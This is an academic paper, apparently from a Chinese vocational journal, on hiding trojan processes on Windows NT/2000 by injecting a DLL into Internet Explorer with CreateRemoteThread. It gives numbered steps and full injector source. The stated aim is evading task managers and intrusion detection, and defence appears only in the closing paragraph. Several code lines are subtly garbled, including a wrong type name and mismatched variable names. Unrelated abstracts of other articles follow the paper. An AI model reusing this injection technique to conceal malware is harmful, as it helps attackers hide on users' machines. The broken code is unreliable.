WinNT/Win2000系统下进程的隐藏

来源 :职业圈 | 被引量 : 0次 | 上传用户:uniw0909
下载到本地 , 更方便阅读
声明 : 本文档内容版权归属内容提供方 , 如果您对本文有版权争议 , 可与客服联系进行内容授权或下架
论文部分内容阅读
  【摘要】进程的隐藏一直是木马程序设计者不断探求的重要技术,文章采用远程线程技术,通过将动态链接库嵌入常用程序的方法,较好地解决了这一问题;并通过远程线程将木马作为线程隐藏在其它进程中,从而达到隐藏的目的。
  【关键词】进程;线程;木马;动态链接库
  【中图分类号】 TP309【文献标识码】A
  【文章编号】1671-5969(2007)18-0169-03
  
  木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。本文分析了Windows NT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现Windows NT/2000系统中进程的隐藏。
  
  一、 基本原理
  
  在WIN95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在Windows NT/2000中却完全不同, 无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过Windows NT/2000的任务管理器,Windows NT/2000的任务管理器均能轻松显示出木马进程,难道在Windows NT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一。随着入侵检测软件的不断发展,关联进程和端口已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在Windows NT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是使用rookit让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式注入于远程进程之中,远程进程是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。
  
  二、 实现方法
  
  为了弄清实现方法,我们必须首先了解Windows系统的另一种“可执行文件”——DLL,DLL是Dynamic Link Library(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL。假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL。如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,因为是常用程序不会引起用户怀疑)那么我们所编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。
  运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种,如:窗口Hook、挂接API、远程线程等。这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。
  远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。
  
  三、 实施步骤
  
  1.用Process32Next()函数找到宿主进程,获取宿主进程ID,并用OpenProcess()函数打开宿主进程。
  2.用VirtualAllocEx()函数分配远程进程地址空间中的内存。
  3. 用WriteProcessMemory()函数将待隐藏的DLL的路径名。
  4.拷贝到步骤二已经分配的内存中。
  5.用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。
  6. 用CreateRemoteThread()函数在远程进程中创建一个线程。
  7.它调用正确的LoadlibraryA()函数。
  8.为它传递步骤二中分配的内存地址。
  
  四、 具体实例
  
  下面是在C++Builder 4.0环境下编写的运用远程线程技术隐藏木马的程序代码:
  #include
  #include
  #include
  #include //该头文件包涵了进程操作的API函数
  #pragma hdrstop
  #include "Unit1.h"
  #pragma package(smart_init)
  #pragma resource "*.dfm"
  Insisting pszLibFileName;//存放待隐藏的DLL文件名
  HANDLE hProcessSnap=NULL;//进程快照句柄
  HANDLE hRemoteProcess;//远程进程句柄
  LPVOID pszLibFileRemote;//远程进程中分配给文件名的空间
  HMODULE phmd;//存放kernel32.dll句柄
  HANDLE hRemoteThread1=NULL;//存放远程线程句柄
  TForm1 *Form1;
  //---------------------------------------------------------
  __fast call TForm1::TForm1(TComponent* Owner)
  : TForm(Owner)
  {
  }
  //---------------------------------------------------------
  void __fastcall TForm1::Button1Click(TObject *Sender)
  
  {
  PROCESSENTRY32 pe32={0};
  DWORD dwRemoteProcessId;
  hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  //打开进程快照
  if(hProcessSnap==(HANDLE)-1)
  {
  MessageBox(NULL,"CreateToolhelp32Snapshot failed","",MB_OK);
  exit(0);
  } //失败返回
  pe32.dwSize=sizeof(PROCESSENTRY32);
  if(Process32First(hProcessSnap,&pe32)) //获取第一个进程
  {
  do{
  AnsiString te;
  te=pe32.szExeFile;
  if(te.Pos("iexplore.exe")|| te.Pos("IEXPLORE.EXE"))
  //找到宿主进程,以IEXPLORE.EXE为例
  { dwRemoteProcessId=pe32.th32ProcessID;
  break;
  }
  }
  while(Process32Next(hProcessSnap,&pe32));//获取下一个进程
  }
  else
  {
  MessageBox(NULL,"取第一个进程失败","",MB_OK);
  exit(0);
  }
  hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM
  _OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);
  //打开远程进程
  pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";
  // 假设hide.dll是待隐藏的进程
  int cb=(1+pszLibFileName.Length())*sizeof(char);//计算dll文件名长度
  pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,
  MEM_COMMIT,PAGE_READWRITE);
  //申请存放文件名的空间
  BOOL ReturnCode=WriteProcessMemory(hRemoteProcess,
  pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);
  //把dll文件名写入申请的空间
  phmd=GetModuleHandle("kernel32.dll");
  LPTHREAD_START_ROUTINE fnStartAddr=(LPTHREAD_START_ROUTINE)
  GetProcAddress(phmd,"LoadLibraryA");
  //获取动态链接库函数地址
  hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,
  pfnStartAddr,pszLibFileRemote,0,NULL);
  //创建远程线程
  if(hRemoteThread1!=NULL)
  CloseHandle(hRemoteThread1);//关闭远程线程
  if(hProcessSnap!=NULL)
  CloseHandle(hProcessSnap);//关闭进程快照
  }
  该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。
  至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C++Builder4.0环境下编写并编译了下面的hide.dll作为测试:
  #include
  #include
  #pragma hdrstop
  #pragma argsused
  BOOL WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
  {
  char szProcessId[64];
  switch(reason)
  {
  case DLL_PROCESS_ATTACH:
  {//获取当前进程ID
  itoa(GetCurrentProcessId(),szProcessId,10);
  MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
  break;
  }
  default:
  }
  return TRUE;
  }
  当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具也能看到:(下转第197页)
  (上接第170页)
  Process ID: 1208
  C:\WINNT\IEXPLORE.EXE (0x00400000)
  ……
  C:\WINNT\hide.dll (0x100000000)
  ……
  这证明hide.dll已经在IEXPLORE.EXE进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。
  
  五、结语
  
  进程隐藏技术和方法有很多,而且这一技术发展也相当快,本文仅从一个侧面加以讨论,希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识,同时也为我们防范他人利用进程隐藏手段非法入侵提供参考。
  
  参考文献
  [1]Jeffrey Richter著,王建华,张焕生,侯丽坤等译.Windows核心编程[M].机械工业出版社.
   [2]K.赖斯多夫,H. 亨德森著,希望图书创作室译.Borland C++ Builder 实用培训教程.
  
   作者简介:李洪涛(1979—),男,河北唐山人,河北科技大学纺织职工学院唐山分院计算机教研室教师。
其他文献
【关键词】弱优美性;弱优美标号; 的不交并  【中图分类号】O157【文献标识码】A  【文章编号】1671-5969(2007)15-0181-03     图的优美性与弱优美性的概念最早由A.rosa提出 ,图的优美性与弱优美性的研究在近几十年有较快的进展。由Minnesota Duluth 大学数理统计系的Joseph A. Gallian所写的《A Dynamic Survey of Gr
期刊
【摘要】文章采用文献资料和调查研究等综合的研究方法,对部分参加第八届CUBA联赛西南赛区选拔赛的教练员进行访谈调查,分析了CUBA篮球联赛队伍的招生、管理和发展状况。提出CUBA联赛在招生、后备人才培养、资金投入、运动员思想道德教育等问题的对策与建议。   【关键词】可持续性发展;球队管理;CUBA联赛;影响  【中图分类号】 G808【文献标识码】A  【文章编号】1671-5969(2007)
期刊
【摘要】计算机辅助大学英语教学的教学模式突出了以计算机网络、教学软件及课堂综合为主的个性化和自主式教学。计算机辅助教学(CAI)以“现代教育”的基本教育观、行为主义学习理论、认知学习理论和建构主义学习理论与教学理论等现代教育理念为理论基础,在大学英语课堂运用CAI教学模式,具有实现人机交互、丰富教学内容及模式、反馈的及时性、激发学习主动性、激发学习兴趣、减轻教师负担等优势。  【关键词】CAI;课
期刊
【摘要】文章介绍了高职建筑装饰专业《3D MAX》课程教学改革与实践,对教学过程中的教学思想、教学设计、教学模式、教学方法与手段、课堂气氛、课程考核方式等多方面全方位的进行了详细的论述。  【关键词】高等职业教育;建筑装饰;3D MAX  【中图分类号】 G718【文献标识码】A  【文章编号】1671-5969(2007)18-0088-02    《3D MAX》是建筑装饰工程技术专业的一门专
期刊
【摘要】文章介绍了基于校园网的在线测试系统的设计方案及其运用ASP技术的实现方法。详细介绍了该系统所能实现的主要功能,包括题库维护、考试管理、成绩管理、考生测试等功能。它实现了学生对学习内容的自测,教师通过对学生考试信息的分析,达到指导教学的目的。  【关键词】在线测试;数据库;考试  【中图分类号】 TP391【文献标识码】A  【文章编号】1671-5969(2007)18-0173-02  
期刊
【摘要】用关联词语来组合语段中的句子,是逻辑语义衔接最常见的方式之一,也是语段教学的重要内容。结合关联词语教学教授逻辑语义衔接有助于学习者建立新旧知识的关联,发挥学习者的认知水平、认知能力在认知学习汉语语段的过程中的重要作用。  【关键词】对外汉语;语段教学;认知理论;关联词语  【中图分类号】 G424【文献标识码】A  【文章编号】1671-5969(2007)18-0093-02    一、
期刊
【摘要】ISO9000族标准在本科教育质量管理中的应用是高等教育质量内部保障模式之一。文章结合高等学校本科教育质量管理的实际,探讨了基于ISO9000族标准的本科教育质量管理体系文件四个层次的构成及其三种运行方式。  【关键词】ISO9000族标准;本科教育质量;文件;运行  【中图分类号】 G718【文献标识码】A  【文章编号】1671-5969(2007)18-0165-02     我国的
期刊
【摘要】360度绩效考核法是绩效考核方法中的一种,有着其优势和劣势,在具体运用中,若能在前期获取支持、调查问卷的设计、发放和收集、信息分析、反馈与面谈以及合理运用等方面加以注意,便能正确合理地运用好这一考评方法,为企业管理提供有益的支持。  【关键词】360度;绩效考核;运用   【中图分类号】 F272 【文献标识码】A  【文章编号】1671-5969(2007)14-0042-02     
期刊
【摘要】当前围绕大学生 “四种能力”培养提高高等院校的教学质量已成为高等学校教育教学改革的主要方向,而高等学校课程教学是培养大学生“四种能力”重要环节。文章以应用型人才培养为目标的新建地方本科院校为背景,以《管理学》课程教学实践为例,提出应在明确应用型人才培养的教学特点、理清教学创新思路的基础上,运用问题式教学法、案例式教学法、角色扮演法等多种教学方法实现大学生“四种能力”的培养。  【关键词】新
期刊
【摘要】文章阐述永中Office集成办公软件系统的特点,简要介绍永中Office集成办公软件的使用方法并与微软office比较。  【关键词】永中Office;办公软件;集成软件  【中图分类号】TP391 【文献标识码】A  【文章编号】1671-5969(2007)15-0169-02     由国家863软件重大专项等重点支持项目的永中Office是一款拥有完全自主知识产权的大型办公软件,在
期刊